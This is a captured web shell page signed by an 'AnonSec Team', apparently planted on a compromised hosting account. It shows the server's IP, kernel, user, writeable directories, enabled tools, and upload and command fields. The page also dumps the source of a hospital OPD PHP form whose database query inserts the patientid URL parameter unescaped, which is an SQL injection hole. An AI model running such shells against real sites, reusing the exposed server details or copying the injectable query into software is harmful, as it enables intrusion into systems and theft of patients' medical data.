Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 52.15.214.27
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//opd_medicine.php
<!DOCTYPE html>
<html lang="en">
<head>
    
<meta charset="utf-8">
<title>Test</title>
<style>
    form{
        margin: 20px 0;
    }
    form input,select, button {
        padding: 5px;
    }
    table{
        width: 100%;
        margin-bottom: 20px;
		border-collapse: collapse;
    }
    table, th, td{
        border: 1px solid #cdcdcd;
    }
    table th, table td{
        padding: 10px;
        text-align: left;
    }
</style>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>

    $(document).ready(function(){
        $(".add-row").click(function(){
            var requesttestid = $("#requesttestid").val();
            var testid = $("#testid").val();
            var markup = "<tr><td><input type='checkbox' name='record'></td><td>" + requesttestid  + "</td><td>" + testid + "</td></tr>";
            $("#table2 tbody").append(markup);
        });
        
        // Find and remove selected table rows
        $(".delete-row").click(function(){
            $("#table2 tbody").find('input[name="record"]').each(function(){
            	if($(this).is(":checked")){
                    $(this).parents("tr").remove();
                }
            });
        });
    });   
</script>
</head>
<body>
  <form action="actionfinal.php" method="POST">
        <input type='hidden' name='prescriptionid[]' value='11212'>
            <input type='hidden' name='prescriptionid[]' value='11213'>
                <input type='hidden' name='prescriptionid[]' value='11214'>
                    <input type='hidden' name='prescriptionid[]' value='11215'>
                        <input type='hidden' name='prescriptionid[]' value='11212'>
                            <input type='hidden' name='prescriptionid[]' value='11216'>
                                <input type='hidden' name='prescriptionid[]' value='11217'>
                                    <input type='hidden' name='prescriptionid[]' value='11218'>
                                        <input type='hidden' name='prescriptionid[]' value='11219'>
                                            <input type='hidden' name='prescriptionid[]' value='11219'>
                                                <input type='hidden' name='prescriptionid[]' value='112110'>
                                                    <input type='hidden' name='prescriptionid[]' value='112114'>
      <table>
      <tr> 
              <?php
              session_start();
include('dbconnection.php');
           $sql1 ="SELECT * FROM patient WHERE patientid='$_GET[patientid]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($rspi1 = mysqli_fetch_array($qsql1))
		{
		    echo"	
        
		    <input type='hidden' name='prescriptionid[]' value='11212'>
			<input type='hidden' name='patientid[]' value='$rspi1[patientid]'>
			";
		}
		?>
		<td width='25%'>
             <div class="form-group">
				<label>Investigation Type	</label>
			<select  class="form-control" id='requesttestid'  name="requesttestid[]">
<option value="44">Radiology</option>
<option value="45">Pathology</option>

</select>
</div>
</td>

 <td width='25%'>

    
     <select name='testid[]' id='testid'>
<option value="" selected="selected">Select Investigation</option>
<option value="10">Ultrasound & Doppler</option>
<option value="11">MRI</option>
<option value="12">	CT + 3D</option>
<option value="13">	X RAYS</option>
<option value="14">	Fluoroscopy</option>
<option value="15">Mammography</option>
<option value="16">	Biometry</option>
</select>


     
</td>

<td width='25%'>
      
            </td>
  
  </td><td width='13%'>
            <select name="Priority_slip">
                	<option value="">Priority slip </option>
	<option value="Urgent">Urgent </option>
	<option value="Normal">Normal </option>
	</td>
  <td width='12%'>
    	<input  type="reset" class="add-row" onclick="clearTheTextField()" value="Add Row"></td>
    	</tr>

    	</table>

    <table id='table2'>
        <thead>
            <tr>
                <th>Select</th>
                <th>Name</th>
                <th>Email</th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <td><input type="checkbox" name="record"></td>
                <td>pavan</td>
                <td>pavan@mail.com</td>
            </tr> <tr>
                <td><input type="checkbox" name="record"></td>
                <td>suryavanshi</td>
                <td>pavansuryavnshi@mail.com</td>
            </tr>
             <tr>
                <td><input type="checkbox" name="record"></td>
                <td>ABC</td>
                <td>ABC@mail.com</td>
            </tr>
        </tbody>
    </table>
    <button type="button" class="delete-row">Delete Row</button>
    
</body> 
</html>


  
      <input type="submit" value="Submit"> 
      </form>

Anon7 - 2022
AnonSec Team